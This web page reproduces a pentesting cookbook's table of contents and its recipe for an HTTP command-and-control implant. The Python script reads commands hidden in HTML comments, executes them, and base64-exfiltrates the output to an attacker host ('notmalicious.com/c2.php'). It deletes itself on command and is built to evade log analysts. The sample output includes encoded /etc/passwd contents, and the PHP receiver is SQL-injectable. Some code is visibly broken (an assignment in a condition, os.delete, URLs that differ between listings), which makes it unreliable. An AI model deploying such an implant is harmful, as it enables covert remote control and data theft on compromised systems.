Table of Contents for
Python Web Penetration Testing Cookbook

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python Web Penetration Testing Cookbook by Dave Mound Published by Packt Publishing, 2015
  1. Cover
  2. Table of Contents
  3. Python Web Penetration Testing Cookbook
  4. Python Web Penetration Testing Cookbook
  5. Credits
  6. About the Authors
  7. About the Reviewers
  8. www.PacktPub.com
  9. Disclamer
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Sections
  14. Conventions
  15. Reader feedback
  16. Customer support
  17. 1. Gathering Open Source Intelligence
  18. Gathering information using the Shodan API
  19. Scripting a Google+ API search
  20. Downloading profile pictures using the Google+ API
  21. Harvesting additional results from the Google+ API using pagination
  22. Getting screenshots of websites with QtWebKit
  23. Screenshots based on a port list
  24. Spidering websites
  25. 2. Enumeration
  26. Performing a ping sweep with Scapy
  27. Scanning with Scapy
  28. Checking username validity
  29. Brute forcing usernames
  30. Enumerating files
  31. Brute forcing passwords
  32. Generating e-mail addresses from names
  33. Finding e-mail addresses from web pages
  34. Finding comments in source code
  35. 3. Vulnerability Identification
  36. Automated URL-based Directory Traversal
  37. Automated URL-based Cross-site scripting
  38. Automated parameter-based Cross-site scripting
  39. Automated fuzzing
  40. jQuery checking
  41. Header-based Cross-site scripting
  42. Shellshock checking
  43. 4. SQL Injection
  44. Checking jitter
  45. Identifying URL-based SQLi
  46. Exploiting Boolean SQLi
  47. Exploiting Blind SQL Injection
  48. Encoding payloads
  49. 5. Web Header Manipulation
  50. Testing HTTP methods
  51. Fingerprinting servers through HTTP headers
  52. Testing for insecure headers
  53. Brute forcing login through the Authorization header
  54. Testing for clickjacking vulnerabilities
  55. Identifying alternative sites by spoofing user agents
  56. Testing for insecure cookie flags
  57. Session fixation through a cookie injection
  58. 6. Image Analysis and Manipulation
  59. Hiding a message using LSB steganography
  60. Extracting messages hidden in LSB
  61. Hiding text in images
  62. Extracting text from images
  63. Enabling command and control using steganography
  64. 7. Encryption and Encoding
  65. Generating an MD5 hash
  66. Generating an SHA 1/128/256 hash
  67. Implementing SHA and MD5 hashes together
  68. Implementing SHA in a real-world scenario
  69. Generating a Bcrypt hash
  70. Cracking an MD5 hash
  71. Encoding with Base64
  72. Encoding with ROT13
  73. Cracking a substitution cipher
  74. Cracking the Atbash cipher
  75. Attacking one-time pad reuse
  76. Predicting a linear congruential generator
  77. Identifying hashes
  78. 8. Payloads and Shells
  79. Extracting data through HTTP requests
  80. Creating an HTTP C2
  81. Creating an FTP C2
  82. Creating an Twitter C2
  83. Creating a simple Netcat shell
  84. 9. Reporting
  85. Converting Nmap XML to CSV
  86. Extracting links from a URL to Maltego
  87. Extracting e-mails to Maltego
  88. Parsing Sslscan into CSV
  89. Generating graphs using plot.ly
  90. Index

Creating an HTTP C2

The issue with brazenly presenting your commands in URLs is that even a half-asleep log analyst will spot it. There are multiple methods of hiding requests, but when you don't know what the response text is going to look like, you need to provide a solid method of disguising the output and returning it to your server.

We will create a script that masks command and control activities as HTTP traffic, takes commands from comments on a web page, and returns the output into a guestbook.

Getting Started

For this, you will need a functioning web server with two pages, one to host your comments and one to host your retrieval page.

Your comment page should just have standard content. For this, I'm using the Nginx default home page and adding comments to it at the end. A comment should be expressed as:

<!--cmdgoeshere-->

The retrieval page can be as simple as:

<?php

$host='localhost';
$username='user';
$password='password';
$db_name="data";
$tbl_name="data";

$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="INSERT INTO $tbl_name VALUES('$comment')";

$result=mysql_query($sql);

mysql_close();
?>

Basically, what this PHP does is take an incoming value in the POST request named comment and places it in a database. It's very rudimentary and does not distinguish between multiple incoming commands if you have multiple shells going.

How to do it…

The script we will be using is as follows:

import requests
import re
import subprocess
import time
import os

while 1:
  req = requests.get("http://127.0.0.1")
  comments = re.findall('<!--(.*)-->',req.text)
  for comment in comments:
    if comment = " ":
      os.delete(__file__)
    else:
      try:
        response = subprocess.check_output(comment.split())
      except:
        response = "command fail"
  data={"comment":(''.join(response)).encode("base64")}
  newreq = requests.post("http://notmalicious.com/c2.php", data=data)
  time.sleep(30)

The following shows an example of the output produced when using this script:

Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment:
Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment:

How it works…

As ever, we import the necessary libraries and get the script going:

import requests
import re
import subprocess
import time
import os

As this script has a built-in self deletion method, we can set it up to run forever with the following loop:

while 1:

We make a request to check whether there are any comments on our preconfigured page. If there are, we put them in a list. We use very basic regex to perform this check:

  req = requests.get("http://127.0.0.1")
  comments = re.findall('<!--(.*)-->',req.text)

The first thing we do is check for an empty comment. This signifies to the script that it should delete itself, a very important mechanism for hands-off C2 scripts. If you wish the script to delete itself, just leave an empty comment on your page. The script deletes itself by looking for its own name and removing that name:

for comment in comments:
    if comment = " ":
      os.delete(__file__)

If the comment isn't blank, we attempt to pass it to the system with the subprocess command. It's important that you use .split() on the command to account for how subprocess handles multi-part commands. We use .check_output to return whatever output the command gives directly to the variable that we assign:

else:
      try:
        response = subprocess.check_output(comment.split())

If the command fails, we set the response value to be command failed:

      except:
        response = "command fail"

We take the response variable and assign it to a key that matches our PHP script in a dictionary. In this circumstance, the field name is comment and thus we assign our output to a comment. We base64 the output in order to account for any random variables, such as spaces or code that may interfere with our script:

data={"comment":(''.join(response)).encode("base64")}

Now the data has been assigned, we send it in a POST request to our preconfigured server and wait 30 seconds to again check for further instructions in the comments:

newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data)
  time.sleep(30)